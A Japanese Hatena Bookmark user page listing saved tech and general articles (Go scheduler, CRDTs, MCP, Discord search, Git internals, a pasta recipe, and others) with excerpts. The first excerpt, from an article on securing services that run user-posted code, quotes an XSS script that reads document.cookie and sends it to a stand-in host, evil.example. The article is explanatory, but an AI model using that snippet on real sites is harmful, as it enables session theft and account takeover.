kesakonyaのブックマーク (1,074)

  • ユーザー投稿のコードをブラウザ上で他人が動かせるサービスを作るときのセキュリティについて

    問題1: 他ユーザーの認証情報にアクセスできてしまう 投稿されたコードを普通にサイト内に埋め込むとXSSがやり放題な状態になります。 認証CookieのHttpOnlyが無効になっている場合 ユーザーがたくさん集まる超面白いゲームを作り、その中に以下のようなコードをしれっと含めると、そのゲームを開いたユーザーのアカウントの乗っ取りが可能になります。 <script> // 1. Cookieを取得 const stolen = document.cookie; // 2. 攻撃者のサーバーに送信 const img = new Image(); img.src = "https://evil.example/steal?cookie=" + encodeURIComponent(stolen); </script> CookieのHttpOnly属性が無効になっていると、スクリプトからCo

    ユーザー投稿のコードをブラウザ上で他人が動かせるサービスを作るときのセキュリティについて
    kesakonya
    kesakonya 2025/07/26
  • なぜ人生はこんなにもつまらないのですか?

    回答 (67件中の1件目) 人生がつまらないのは、あなた様が他人軸の視点に浸かっているからである可能性が高いです。 つまり「人生が楽しい人」は現実に沢山いるわけであって、幸いなことに「人生」というものの質が「つまらない」というわけではありません。言うまでもないことでしょうけど。 しかも、その「楽しい人」の中には、あなた様の生活レベルよりも低い方も多数いるでしょう。 例えば子供は、社会的な能力は未熟ですし、経済力も皆無ですが、楽しく生きていますね。 赤ん坊も同じです。 もちろん大人の中で、無能で貧乏でも楽しく生きてる人は山のようにいますよ。 しかしある種の大人は彼らより、よほど能力的...

    なぜ人生はこんなにもつまらないのですか?
  • なぜ人生はこんなにもつまらないのですか?

    回答 (67件中の1件目) 人生がつまらないのは、あなた様が他人軸の視点に浸かっているからである可能性が高いです。 つまり「人生が楽しい人」は現実に沢山いるわけであって、幸いなことに「人生」というものの質が「つまらない」というわけではありません。言うまでもないことでしょうけど。 しかも、その「楽しい人」の中には、あなた様の生活レベルよりも低い方も多数いるでしょう。 例えば子供は、社会的な能力は未熟ですし、経済力も皆無ですが、楽しく生きていますね。 赤ん坊も同じです。 もちろん大人の中で、無能で貧乏でも楽しく生きてる人は山のようにいますよ。 しかしある種の大人は彼らより、よほど能力的...

    なぜ人生はこんなにもつまらないのですか?
    kesakonya
    kesakonya 2025/07/20
  • メルカリの効率的なデータ活用を支えるデータインタフェース Basic Tables|Mercari Analytics Blog

    メルカリでデータ整備をしている @na0 です。最近はデータ分析 AI エージェント Socrates を開発しています。 私たち BI Product チームでは、Socrates 以前から人間が使いやすいデータインタフェースとして Basic Tables の開発を進めてきました。今では人間、AI エージェント両者にとって、Basic Tables は分析の初動を支える重要なインタフェースになっています。稿では、この Basic Tables について説明します。 はじめにメルカリでは日々膨大なデータが蓄積され、事業成長を加速させるための重要な資産となっています。このデータを最大限に活用するため、私たち BI Product チームは 2023 年から「Basic Tables」と呼ばれる、分析の利便性を高めるテーブル群の構築に取り組んできました。 記事では、Basic Table

    メルカリの効率的なデータ活用を支えるデータインタフェース Basic Tables|Mercari Analytics Blog
    kesakonya
    kesakonya 2025/07/10
  • GCounterで学ぶ、CRDTによるスケーラブルな書き込み処理と結果整合性 | CyberAgent Developers Blog

    はじめに こんにちは!ABEMA の広告配信システムの開発チームのバックエンドエンジニアの戸田朋花です。 記事では、CRDT(Conflict-free Replicated Data Type)の基概念を学びながら、その一種である GCounter を Go 言語で実装してみます。 分散システムにおいて「書き込みのスケール」や、「結果整合性の担保」といった課題に対して、CRDT がどのような解決策を提供してくれるのかを、実装とベンチマークを通じて探っていきます。 分散システムにおけるデータ管理の課題 強い一貫性のあるデータベースは、Leader/Follower 構成のアーキテクチャが代表的です。 このアーキテクチャでは、書き込みは単一の Leader ノードのみに許可されており、Follower ノードは基的に Read 専用となります。 読み込みのスケーラビリティは Follo

    GCounterで学ぶ、CRDTによるスケーラブルな書き込み処理と結果整合性 | CyberAgent Developers Blog
    kesakonya
    kesakonya 2025/05/28
  • Go Scheduler

    ↑ ↓ Go Scheduler Introduction Compilation and Go Runtime Primitive Scheduler Scheduler Enhancement GMP Model Program Bootstrap Creating a Goroutine Schedule Loop Finding a Runnable Goroutine Goroutine Preemption Handling System Calls Network I/O and File I/O How netpoll Works Garbage Collector Common Functions Go Runtime APIs Disclaimer This blog post primarily focuses on Go 1.24 programming langu

    Go Scheduler
    kesakonya
    kesakonya 2025/05/23
  • A simple search engine from scratch*

    *if you include word2vec. Chris and I spent a couple hours the other day creating a search engine for my blog from “scratch”. Mostly he walked me through it because I only vaguely knew what word2vec was before this experiment. The search engine we made is built on word embeddings. This refers to some function that takes a word and maps it onto N-dimensional space (in this case, N=300) where each d

    kesakonya
    kesakonya 2025/05/22
  • 【図解】メールの仕組み - Qiita

    Deleted articles cannot be recovered. Draft of this article would be also deleted. Are you sure you want to delete this article? はじめに 前々回に投稿した「【図解】Webの仕組み」がありがたいことにたくさんの方からご好評をいただきました。 その中で、「メールの仕組み」も作って欲しいというお話があったので僭越ながら解説させていただきます。 メールの送信・受信の流れ 解説 1. メール送受信の基的な流れ メールアドレスの構造: メールアドレスは「名前@ドメイン」の形式で、インターネット上でメッセージの送受信先を特定するための住所です。例えば、taro@example.comの場合、「taro」が名前部分、「example.com」が住所(ドメイン)部分を表します。

    kesakonya
    kesakonya 2025/05/14
  • 最小限のMCP Host/Client/Serverをスクラッチで実装する

    ここ1~2ヶ月でMCPについての解説がたくさん出ているしMCPが何かの説明はいらないと思うので割愛。全く何かわからない人はやさしいMCP入門を読むと良い。 こういったMCPは何か?についての記事/スライドやどのように活用するのか?の実用的な解説&紹介はすでにたくさん出ている。一方でMCPの内部について学ぼうと思った時に時にどうすればいいかというと公式のSpecificationを読むことになるはず。 ただこの入門的な解説とSpecificationの間には少しギャップがある。自分のような理解力に乏しい人間にはいきなり仕様だけ読んで「はい理解しました」とはなれない。 そこで今回はMCPのHost/Client/Serverをスクラッチで実装することを通じて、その入門とSpecificationの間を埋められると良いなと思い実装してみた。実装する言語にはRubyを使用した。 全体像 実装するの

    最小限のMCP Host/Client/Serverをスクラッチで実装する
    kesakonya
    kesakonya 2025/04/30
  • 好きなことで生きていく - megamouthの葬列

    昔DeNAの新人が入社後半年だかの振り返りのプレゼンの中で「うまくモチベーションが上がらなくて」ということを言った時に、南場社長が「社会人がモチベーションで仕事をするな」とすごく怒ったという話*1があって、とても印象に残っている。 また、これは実体験だが、その当時所属していた会社のけっこう中心的な人物が退職する送別会で、その人が受け持っていた客の話になった時、「あれもこれも大変なお客さんですね。私たちに引き継ぎできるものですかね」と残された側が不安をこぼすと、その人は「仕事やろ」とピシャリと言った、という場面をよく覚えている。 どちらも胸に氷を刺されたような、うすら寒い気持ちになったからだった。 私は、社会人だが、どうにも好き嫌いで仕事をしている節があった。やるべきことを淡々とこなすのではなく、やらなくてはならないことの中に何とか自分の興味が持てるようなテーマを見いだして、努力の為のエネル

    好きなことで生きていく - megamouthの葬列
    kesakonya
    kesakonya 2025/04/30
  • GitHub - waszabi/empty-enter-expander

    You signed in with another tab or window. Reload to refresh your session. You signed out in another tab or window. Reload to refresh your session. You switched accounts on another tab or window. Reload to refresh your session. Dismiss alert

    GitHub - waszabi/empty-enter-expander
    kesakonya
    kesakonya 2025/04/26
  • How Discord Indexes Trillions of Messages

    Back in 2017, we shared how we built our message search system to index billions of messages. We designed our search infrastructure to be performant, cost-effective, scalable, and easy to operate. We chose to use Elasticsearch, with Discord messages sharded over indices, the logical namespace for Elasticsearch messages, on two Elasticsearch clusters. Messages were sharded either by Discord server

    How Discord Indexes Trillions of Messages
    kesakonya
    kesakonya 2025/04/26
  • 14 Advanced Python Features

    Python is one of the most widely adopted programming languages in the world. Yet, because of it’s ease and simplicity to just “get something working”, it’s also one of the most underappreciated. If you search for Top 10 Advanced Python Tricks on Google or any other search engine, you’ll find tons of blogs or LinkedIn articles going over trivial (but still useful) things like generators or tuples.

    kesakonya
    kesakonya 2025/04/25
  • #1 カード会社の2つの顔〜イシュイングとアクワイアリングの話〜|yota@決済業界の人

    はじめに長いこと決済業界でお仕事してきましたが関わるコンサルSIer、はたまた自社の社員と会話してると意外とこの辺り理解してない人が多いことに気づきます。 ・そもそもカード会社の役割って? ・カード決済の仕組みって? そんなこともあり、今までの私の経験からこれだけは理解しておくべきでしょってことを書いていこうと思いました。これからカード会社や決済に関わる事業会社を目指している、または一緒に仕事しようとしている方々にとって有益な情報を提供できれば幸いです。 なお、ビジネスの話は多くのサイトで語られているので、ここではどちらかというとあまり調べても出てこないような仕組みの話を主にしていければと思ってます(怒られない範囲で)。 カード会社の役割ビジネスの話は他で、と言ったばかりですが最低限必要な前提知識くらいは書こうと思います。表題にもしていますが、すっごくわかりやすく言うとカード会社には2つ

    #1 カード会社の2つの顔〜イシュイングとアクワイアリングの話〜|yota@決済業界の人
    kesakonya
    kesakonya 2025/03/23
  • Building AI agents to query your spreadsheets and databases

    Spreadsheets, databases, and beyond: creating a universal AI query layer In the world of AI agents, the ability to understand and analyze structured data is a game-changer. While large language models excel at understanding natural language, they struggle with quantitative analysis when data is presented as unstructured text. This is where Query Tables comes in – a powerful feature that enables ag

    Building AI agents to query your spreadsheets and databases
    kesakonya
    kesakonya 2025/03/20
  • LLM Agents are simply Graph — Tutorial For Dummies

    Ever wondered how AI agents actually work behind the scenes? This guide breaks down how agent systems are built as simple graphs - explained in the most beginner-friendly way possible! Note: This is a super-friendly, step-by-step version of the official PocketFlow Agent documentation. We've expanded all the concepts with examples and simplified explanations to make them easier to understand. Have

    LLM Agents are simply Graph — Tutorial For Dummies
    kesakonya
    kesakonya 2025/03/20
  • Gitの中身

    はじめに Gitで管理するプロジェクトには.gitというディレクトリがあり、その中にGitの管理情報が入っている。その中には、全てのコミットや、いろんなバージョンのファイル、ブランチ、タグといった情報が格納されている。Gitを操作するにあたり、この中身がどうなっているかを理解する必要はないし、もし中身を覚えたとしても、操作方法は変わらないまま、内部実装だけ変更になる可能性もある。それでも、Gitの仕組み、特に様々な情報が.gitにどのように格納されているかを知っておくのは二つの理由から有用だと考える。 一つ目の理由は、「物が動く仕組み」を知っておくことが教養だからだ。車を運転するのに、アクセルを踏めば進み、ブレーキを踏めば止まり、ハンドルを回せば曲がることを知っていれば十分だ。しかし、シリンダーにガソリンが噴射され、ピストンで圧縮したところで点火し、爆発する力でピストンが押される、という直

    kesakonya
    kesakonya 2025/03/20
  • DuckDB goes distributed? DeepSeek’s smallpond takes on Big Data

    DeepSeek has made a lot of noise lately. Their R1 model, released in January 2025, outperformed competitors like OpenAI’s O1 at launch. But what truly set it apart was its highly efficient infrastructure—dramatically reducing costs while maintaining top-tier performance. Now, they're coming for data engineers. DeepSeek released a bunch of small repositories as independent code modules. Thomas Wolf

    DuckDB goes distributed? DeepSeek’s smallpond takes on Big Data
    kesakonya
    kesakonya 2025/03/04
  • 量子力学の線形代数は、単なる表記。|Masahiro Hotta

    量子力学には、なぜ線形代数、つまり密度行列や状態ベクトル、そしてエルミート行列としての物理量が出てくるのかが分からないという人が結構います。しかし拙書『入門現代の量子力学』では、その行列やベクトルは単なる表記の1つに過ぎないと、強調をしています。 そもそも量子力学という理論は、物理量の確率分布を基とした情報理論に過ぎません。波動関数や状態ベクトルも、いくつかの種類の物理量の確率分布をまとめて、1の数式に書いたものです。この「波動関数=確率分布」という事実から、そもそも観測問題というものも存在しなかったことが、明らかとなります。 確率分布を行列やベクトルで表示しているだけなので、行列やベクトルが出てくる理由を問う必要は、全くありません。これは電磁気学の電磁ポテンシャルや電磁場を、数学の外微分形式や四元数で書いても、そのdxや、i、j、k自体には、なにも物理的な意味がないのと同様です。 で

    量子力学の線形代数は、単なる表記。|Masahiro Hotta
    kesakonya
    kesakonya 2025/03/03
  • 卵2個とベーコン、粉チーズでなんだこの贅沢な味わいは。元イタリアン料理人のパスタレシピ - メシ通 | ホットペッパーグルメ

    こんにちは! 元イタリアン料理人、現役専業主夫料理人パパイズムです。 以前僕もご紹介したことがある、目玉焼きを具材にした超シンプルなパスタ「ポヴェレッロ」。 www.hotpepper.jp 卵と粉チーズのうま味とコクで、“貧乏人のパスタ”という名前(ポヴェレッロはイタリア語で貧しいという意味なんです)が申し訳ないほど贅沢な味わいのひと皿です。 今回作るのは、そのポヴェレッロをヒントにした「ふわふわスクランブルエッグのパスタ」。目玉焼きばかりか、スクランブルエッグでも贅沢な味わいのパスタができますよ! 卵をふわふわのスクランブルエッグにするコツもご紹介します。 パパイズムの「ふわふわスクランブルエッグのパスタ」 【材料】(1人分) スパゲッティ(1.6~1.7mm) 100g 水 500ml コンソメスープの素(顆粒) 小さじ1 バター 8g 卵 2個 牛乳(水でもOK) 小さじ1 粉チー

    卵2個とベーコン、粉チーズでなんだこの贅沢な味わいは。元イタリアン料理人のパスタレシピ - メシ通 | ホットペッパーグルメ